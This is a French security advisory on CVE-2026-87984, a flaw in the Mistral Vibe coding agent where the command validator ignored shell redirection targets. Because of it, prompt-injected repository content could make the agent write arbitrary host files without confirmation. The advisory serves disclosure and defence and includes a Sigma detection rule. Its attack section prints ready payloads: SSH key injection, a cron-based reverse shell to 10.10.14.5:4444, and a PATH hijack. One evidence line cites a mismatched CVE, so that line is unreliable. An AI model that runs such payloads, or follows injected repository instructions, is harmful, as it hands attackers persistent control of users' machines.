CVE-2026-87984 : écriture arbitraire de fichiers via omission des cibles de redirection shell dans Mistral vibe

HERMES

SCORE DE MENACE HERMES & COMPROMISSION DE L'HÔTE

Cible : Mistral Vibe Coding Agent (mistral-vibe)

Confiance : 99%

94 / 100

CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions

Exploitabilité 19 / 20

Activité de menace 19 / 20

Militarisation 19 / 20

Exposition 18 / 20

Prévalence 18 / 20

Impact 19 / 20

Maturité de l'exploit 19 / 20

Potentiel d'attaque en chaîne 20 / 20

⚖️ Divergence & Justification opérationnelle

Le CVSS v4.0 évalue la CVE-2026-87984 à 9.3 (Critique, CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H). Le score Hermes s'établit à 94 (CRITIQUE). Cette sévérité découle de la possibilité pour un attaquant d'injecter des clés SSH autorisées, des tâches cron ou de modifier les profils shell sans aucune interaction de l'opérateur.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-87984: Mistral Vibe Arbitrary File Write via Shell Redirection Target OmissionVULNÉRABILITÉ

Nœuds connectés : 3

Relations sortantes actives

→ affectsCOMPOSANTMistral Vibe Coding Agent

98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Mistral Vibe Coding Agent documented in Hermes dossier.”

Preuves vérifiées associées :

• [vulnerability_report]
• [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)

→ exploitsMODÈLE D'ATTAQUEAAP-002: Indirect Context Injection

92% VERY_HIGH

Adversary embeds covert payload instructions into retrieved external data (web pages, repositories, emails) that subvert model planning when parsed by autonomous agents.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“CVE-2026-87984 weaponizes the agentic attack pattern formalized under AAP-002.”

Preuves vérifiées associées :

• [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source : Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Fiabilité : HIGH)

→ exploitsMODÈLE D'ATTAQUEAAP-003: Tool Parameter Tampering & Built-in Bypass

92% VERY_HIGH

Adversarial subversion of structured tool execution arguments (SQL, Shell, Filepath) passed from an LLM agent to host OS tools or MCP endpoints.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“CVE-2026-87984 weaponizes the agentic attack pattern formalized under AAP-003.”

Preuves vérifiées associées :

• [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source : Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Fiabilité : HIGH)

Alerte sécurité agentique : écriture arbitraire sans confirmation

CVSS v4.0 : 9.3 critique : (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H) / CWE-22 : limitation inappropriée d’un chemin vers un répertoire restreint, CWE-732 : assignation incorrecte de permissions. Découverte par Esteban Tonglet (HiddenLayer) et publiée en septembre 2026. Concerne Mistral Vibe (mistral-vibe) avant la version 1.1.0. L’exploitation permet à une injection indirecte de prompt d’écraser des fichiers arbitraires sur l’hôte via des redirections de sortie (>, >>) rattachées à des commandes inoffensives auto-approuvées.

Résumé exécutif

La vulnérabilité CVE-2026-87984 est une faille d’écriture arbitraire de fichiers au sein du moteur d’inspection des commandes de Mistral Vibe. Lors de l’analyse syntaxique avec tree-sitter-bash, la grammaire sépare les arguments positionnels (command_argument) des cibles de redirection de fichiers (file_redirect). Le validateur de sécurité de Vibe n’inspectait que les arguments positionnels, omettant totalement les opérateurs de redirection.

Par conséquent, une commande comme echo "cle_malveillante" >> ~/.ssh/authorized_keys ou cat script.sh > /etc/cron.d/backdoor n’était évaluée que sur la base de la commande echo ou cat et de son argument textuel immédiat. Comme la cible de redirection spécifiée après > ou >> n’était jamais soumise au contrôle de chemin, la commande était auto-approuvée et exécutée avec les privilèges complets de l’utilisateur.

---

1. Contexte technique & matrice des versions affectées

Paramètre	Spécification Technique	Contexte Threat Intelligence
Identifiant CVE	CVE-2026-87984	Découvert par Esteban Tonglet (HiddenLayer)
Faiblesse CWE	CWE-22 (Traversée de répertoire), CWE-732 (Contrôle d’accès incorrect)	Défaut de visite des nœuds de redirection AST
Vecteur d’attaque	Injection indirecte de prompt (AAP-002) / AAP-003	Pull request, issue ou commentaire de code malveillant
Composant vulnérable	Validateur AST dans Mistral Vibe (vibe command evaluator)	Valide la commande en ignorant les cibles de redirection
Versions affectées	mistral-vibe < 1.1.0	Environnements avec auto-approbation active
Version corrigée	vibe >= 1.1.0	Visiteur AST récursif inspectant toutes les redirections
Impact systémique	Écriture arbitraire, persistance système, prise de contrôle SSH	Chemin direct vers la compromission persistante de l’hôte

---

2. Décomposition technique approfondie & cause racine

A. La séparation des arguments et des redirections dans l’AST

En syntaxe Bash, les redirections de flux (>, >>, 1>, 2>) sont représentées par tree-sitter-bash au sein d’un nœud redirected_statement ou file_redirect distinct de la commande elle-même :

redirected_statement
 ├── body: command
 │    ├── name: command_name -> "echo"
 │    └── argument: word -> '"ssh-ed25519 AAAA..."'
 └── redirect: file_redirect
      ├── operator: ">>"
      └── destination: word -> "/home/user/.ssh/authorized_keys"

B. L’omission dans la boucle de validation

L’algorithme de contrôle de Mistral Vibe ne parcourait que les enfants directs de type command_argument. Les nœuds file_redirect étaient purement ignorés :

# Logique vulnérable dans Mistral Vibe (< 1.1.0)
def validate_command_safety(parsed_ast_node, allowed_commands, workspace_root):
    cmd_name = extract_command_name(parsed_ast_node)
    if cmd_name not in allowed_commands:
        return False

    # ANOMALIE : Seuls les arguments positionnels sont inspectés !
    for arg in extract_positional_arguments(parsed_ast_node):
        if not is_safe_workspace_path(arg, workspace_root):
            return False

    # Les cibles de redirection (file_redirect) ne sont JAMAIS testées !
    return True  # Auto-approuvé !

Comme echo figure sur la liste des commandes autorisées et que "ssh-ed25519..." ne contient pas de chemin interdit, la validation réussit. Bash crée ou modifie ensuite le fichier système ciblé.

---

3. Scénario d’attaque & exploitation

sequenceDiagram
    autonumber
    actor Attaquant as Attaquant Distant
    participant Depot as Dépôt Git
    participant LLM as Moteur LLM Vibe
    participant Filtre as Filtre AST
    participant OS as Système d'Exploitation Hôte

    Attaquant->>Depot: Implante un prompt malveillant (AAP-002)
    Depot->>LLM: Le développeur exécute : "vibe 'configure le projet'"
    LLM->>LLM: Analyse et exécute les consignes injectées
    LLM->>Filtre: Émet : echo "cle_attaquant" >> ~/.ssh/authorized_keys
    Filtre->>Filtre: Vérifie 'echo' -> AUTORISÉ
    Filtre->>Filtre: Ignore la redirection '>> ~/.ssh/authorized_keys'
    Filtre->>OS: Le shell exécute la redirection sans confirmation !
    OS-->>Attaquant: L'attaquant se connecte en SSH avec accès persistant

Vecteurs d’armement

1. Injection de clé SSH (accès distant permanent) :

   echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... root@c2" >> ~/.ssh/authorized_keys

2. Persistance Cron :

   echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'" > /etc/cron.d/sync_job

3. Détournement d’environnement shell :

   echo "export PATH=/tmp/evil_bin:\$PATH" >> ~/.bashrc

---

4. Détection & chasse aux menaces

Règle Sigma

title: Redirection de Sortie Mistral Vibe Hors Espace de Travail
id: 87984001-vibe-redirection-bypass-fr
status: experimental
description: Détecte des redirections de fichiers ciblant des répertoires sensibles exécutées sous un processus parent Mistral Vibe.
references:
  - https://blog.marcfredericgomez.fr/six-contournements-de-permissions-sur-mistral-vibe/
author: Hermes Codex Cyber Defense Team
logsource:
  category: process_creation
  product: linux
detection:
  selection_parent:
    CommandLine|contains: 'vibe'
  selection_redirection:
    CommandLine|re: '(>|>>)\s*(~|\/etc|\/root|\/home|\/var|\/usr)'
  condition: selection_parent and selection_redirection
level: high

---

5. Défense, durcissement & remédiation

1. Mise à jour immédiate : déployer vibe >= 1.1.0. Le visiteur AST inspecte récursivement chaque redirection de fichier.
2. Cloisonnement strict : lancer l’agent dans un conteneur avec un système de fichiers en lecture seule (--read-only), à l’exception du sous-dossier de travail du projet.
3. Audit forensique des fichiers clés : contrôler l’intégrité de ~/.ssh/authorized_keys, /etc/cron.*, et des scripts d’initialisation shell (~/.bashrc, ~/.zshrc).
4. Surveillance agentique : déployer les règles AgentThreat Studio relatives à AAP-003 : Altération des paramètres d’outils.

---

6. Références croisées

• CVE-2026-87983 : lecture arbitraire de fichiers via chemins avec guillemets
• CVE-2026-87985 : RCE via le quoting ANSI-C dans find -exec
• CVE-2026-87986 : injection de commande via les nœuds d’erreur syntaxique
• CVE-2026-87987 : RCE via stripping des variables d’environnement
• CVE-2026-87988 : disparité entre commandes auto-approuvées et contrôle des chemins
• AAP-002 : injection indirecte de contexte
• AAP-003 : altération des paramètres d’outils